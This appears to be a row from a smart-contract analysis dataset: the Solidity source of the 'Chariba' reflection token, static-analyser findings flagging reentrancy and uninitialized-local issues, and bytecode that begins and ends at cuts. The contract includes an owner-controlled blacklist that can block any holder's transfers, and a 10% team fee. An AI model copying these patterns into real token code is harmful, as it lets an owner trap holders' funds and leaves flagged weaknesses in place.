5b6020604051908101604052806000815250905600a165627a7a723058205ed7654fd0d5acec6aa8543cf3323a9b0b0b7e5687a409c2378c014dd6886dc90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,170 |
0x6a461342206ffe9a5efd47ead0d3db833726fe64
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/*Chariba ($Chariba)
//////// //////////// ///////////// /////////// ///////////// /////////// //////////// //////////// /////////// ////////
// //
// //
// //////////// ///// ///// //////// ////////////// //////////////// /////////// //////// //
// ////////////////// ///// ///// /////////////// ///////////////// //////////////// ///////////// ////////////// //
// //// //// ///// ///// //////////////// ///// ///// ////// //// //// //////////////// //
// //// ////////////////// ///// ////// ///////////////// ////// //// //// ///// ///// //
// //// ////////////////// ////////////////// //////////////// ////// //////////// ////////////////// //
// //// //// ///// ///// ////////////////// ///// //// ////// //// //// ////////////////// //
// //// //// ///// ///// ///// ///// ///// ////// ////// //// //// ///// ///// //
// ////////////////// ///// ///// ///// ///// ///// ////// //////////////// ////////////// ///// ///// //
// ///////// ///// ///// ///// ///// ///// ///// //////////////// //////////// ///// ///// //
// //
// //
//////// //////////// ///////////// /////////// ///////////// /////////// //////////// //////////// /////////// ////////
2% Deflationary yes
Bot Protect yes
Telegram: https://t.me/charibatoken
CG, CMC listing: Ongoing
Fair Launch
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Chariba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chariba Token";
string private constant _symbol = "Chariba";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612981565b61045e565b6040516101789190612e5f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292e565b61048d565b6040516101e09190612e5f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613091565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b1919061301c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d91565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612981565b61098d565b60405161035b9190612e5f565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c1565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a64565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b6111f4565b604051610418919061301c565b60405180910390f35b60606040518060400160405280600d81526020017f4368617269626120546f6b656e00000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4368617269626100000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5c565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133d9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613332565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c1565b6040518363ffffffff1660e01b8152600401610df9929190612dac565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dfe565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dd5565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a37565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f5c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f1c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612edc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f7c565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ebc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f3c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016